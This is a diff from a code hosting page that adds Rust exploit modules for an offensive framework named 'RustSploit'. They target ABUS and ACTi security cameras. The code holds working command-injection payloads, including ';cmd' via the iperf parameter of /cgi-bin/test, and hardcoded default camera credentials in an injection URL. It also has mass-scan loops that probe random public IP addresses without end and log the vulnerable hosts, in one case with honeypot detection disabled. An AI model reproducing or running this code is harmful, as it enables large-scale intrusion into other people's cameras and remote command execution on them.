_ => {
|
||||
crate::mprintln!("{}", "[-] Invalid choice".red());
|
||||
return Err(anyhow!("Invalid choice"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Quick vulnerability check for mass scanning (no honeypot detection)
|
||||
async fn quick_check(client: &Client, ip: &str, mode: ScanMode, custom_cmd: &str) -> bool {
|
||||
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
let cmd = if let ScanMode::CustomCommand = mode { custom_cmd } else { "id" };
|
||||
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
client.get(&url).send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => resp.status().is_success(),
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode - infinite random IP scanning
|
||||
///
|
||||
/// API prompts:
|
||||
/// - "exclude_ranges" : y/n (default: y)
|
||||
/// - "output_file" : filename (default: abus_hits.txt)
|
||||
/// - "scan_mode" : "1" standard, "2" custom command (default: "1")
|
||||
/// - "custom_command" : command string for custom mode (default: "id")
|
||||
async fn run_mass_scan_legacy() -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
crate::mprintln!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
crate::mprintln!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true).await?;
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let outfile = cfg_prompt_output_file("output_file", "[?] Output File", "abus_hits.txt").await?;
|
||||
|
||||
let mode_str = cfg_prompt_default("scan_mode", "[?] Select Payload Mode (1=Standard, 2=Custom)", "1").await?;
|
||||
crate::mprintln!("[*] Payload mode: {}", if mode_str.trim() == "2" { "Custom Command" } else { "Standard Check (id)" });
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::CustomCommand,
|
||||
_ => ScanMode::StandardCheck,
|
||||
};
|
||||
|
||||
let custom_cmd = if let ScanMode::CustomCommand = mode {
|
||||
cfg_prompt_default("custom_command", "[?] Enter Custom Command", "id").await?
|
||||
} else {
|
||||
String::new()
|
||||
};
|
||||
let custom_cmd = Arc::new(custom_cmd);
|
||||
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
let client = Arc::new(client);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Result writer channel
|
||||
let (tx, mut rx) = mpsc::channel::<String>(1024);
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let file_result = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&*outfile_clone)
|
||||
.await;
|
||||
|
||||
let mut file = match file_result {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
crate::meprintln!("[-] Failed to open output file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Stats reporter
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
crate::mprintln!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
let cc = custom_cmd.clone();
|
||||
let current_mode = mode;
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&cl, &ip_str, current_mode, &cc).await {
|
||||
crate::mprintln!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
|
||||
let log_entry = format!("{} - {}\n", ip_str, timestamp);
|
||||
let _ = tx.send(log_entry).await;
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "ABUS_Camera",
|
||||
default_port: 80,
|
||||
state_file: "abus_camera_mass_state.log",
|
||||
default_output: "abus_camera_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan_legacy().await
|
||||
} else {
|
||||
execute(target).await
|
||||
}
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "ABUS Security Camera TVIP 20000-21150 LFI/RCE".to_string(),
|
||||
description: "Exploits CVE-2023-26609 in ABUS security cameras for local file inclusion, remote code execution, and SSH root access.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec!["CVE-2023-26609".to_string()],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Excellent,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,273 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use std::net::IpAddr;
|
||||
use ipnetwork::IpNetwork;
|
||||
use chrono::Local;
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{generate_random_public_ip, EXCLUDED_RANGES};
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// Reference:
|
||||
/// - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// Exploit authors:
|
||||
/// - Todor Donev <todor.donev@gmail.com>
|
||||
/// - GH0st3rs (RouterSploit module)
|
||||
|
||||
const DEFAULT_PORT: u16 = 8080;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
|
||||
crate::mprintln!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
async fn run_mass_scan_legacy() -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
|
||||
|
||||
let port = cfg_prompt_port("port", "Target Port", 8080).await?;
|
||||
|
||||
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true).await?;
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let outfile = cfg_prompt_output_file("output_file", "[?] Output File", "acti_rce_hits.txt").await?;
|
||||
let outfile = Arc::new(outfile);
|
||||
|
||||
let threads = cfg_prompt_int_range("concurrency", "[?] Concurrency (IPs)", MASS_SCAN_CONCURRENCY as i64, 1, 10000).await?
|
||||
as usize;
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let (tx, mut rx) = mpsc::channel::<String>(1024);
|
||||
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let file_result = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&*outfile_clone)
|
||||
.await;
|
||||
|
||||
let mut file = match file_result {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
crate::meprintln!("[-] Failed to open output file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
crate::mprintln!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
crate::mprintln!("{}", "[*] Starting infinite mass scan... Press Ctrl+C to stop.".cyan());
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc).to_string();
|
||||
|
||||
if let Ok(true) = check_vuln(&ip, port).await {
|
||||
crate::mprintln!("{}", format!("[+] VULNERABLE: {}:{}", ip, port).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
let log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip, port);
|
||||
let _ = tx.send(log_entry).await;
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "ACTi_Camera",
|
||||
default_port: 80,
|
||||
state_file: "acti_camera_mass_state.log",
|
||||
default_output: "acti_camera_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
|
||||
return run_mass_scan_legacy().await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
|
||||
// Check for CIDR or Range
|
||||
let is_mass_scan = target.contains('/') || target.contains('-');
|
||||
|
||||
// Prompt for port globally
|
||||
let port = cfg_prompt_port("port", "Target Port", DEFAULT_PORT).await?;
|
||||
|
||||
if is_mass_scan {
|
||||
crate::mprintln!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
|
||||
|
||||
let ips: Vec<IpAddr> = if target.contains('/') {
|
||||
// CIDR
|
||||
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
|
||||
net.iter().collect()
|
||||
} else {
|
||||
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
|
||||
};
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
|
||||
|
||||
let concurrency = 50;
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let vulnerable_count = Arc::new(AtomicUsize::new(0));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in ips {
|
||||
let sem = semaphore.clone();
|
||||
let vc = vulnerable_count.clone();
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return,
|
||||
};
|
||||
if let Ok(true) = check_vuln(&ip_str, port).await {
|
||||
crate::mprintln!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
|
||||
vc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
drop(_permit);
|
||||
}));
|
||||
}
|
||||
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
|
||||
|
||||
} else {
|
||||
// Single Target Mode
|
||||
crate::mprintln!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
||||
|
||||
if check_vuln(target, port).await? {
|
||||
crate::mprintln!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
||||
|
||||
// Prompt for command to execute — uses cfg_prompt which falls back to stdin in CLI mode
|
||||
let cmd = cfg_prompt_default("command", "Enter command to execute", "id").await?;
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
||||
let output = execute(target, port, &cmd).await?;
|
||||
crate::mprintln!("{}", format!("[+] Output:\n{}", output).green());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
|
||||
|
||||
let res = client
|
||||
.get(url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.header("Referer", format!("http://{}:{}", target, port))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status().is_success() {
|
||||
let text = res.text().await?;
|
||||
Ok(text)
|
||||
} else {
|
||||
Err(anyhow!("Command execution failed, status code: {}", res.status()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if the target is running the vulnerable service
|
||||
async fn check_vuln(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
// Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
crate::mprintln!("{}", "[*] CGI endpoint accessible".cyan());
|
||||
// Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
||||
crate::mprintln!("{}", "[*] ACTi Web Configurator detected".cyan());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "ACTi ACM-5611 Remote Command Execution".to_string(),
|
||||
description: "Exploits command injection in ACTi ACM-5611 video cameras to achieve remote code execution.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec!["https://www.exploitalert.com/view-details.html?id=34128".to_string()],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Excellent,
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user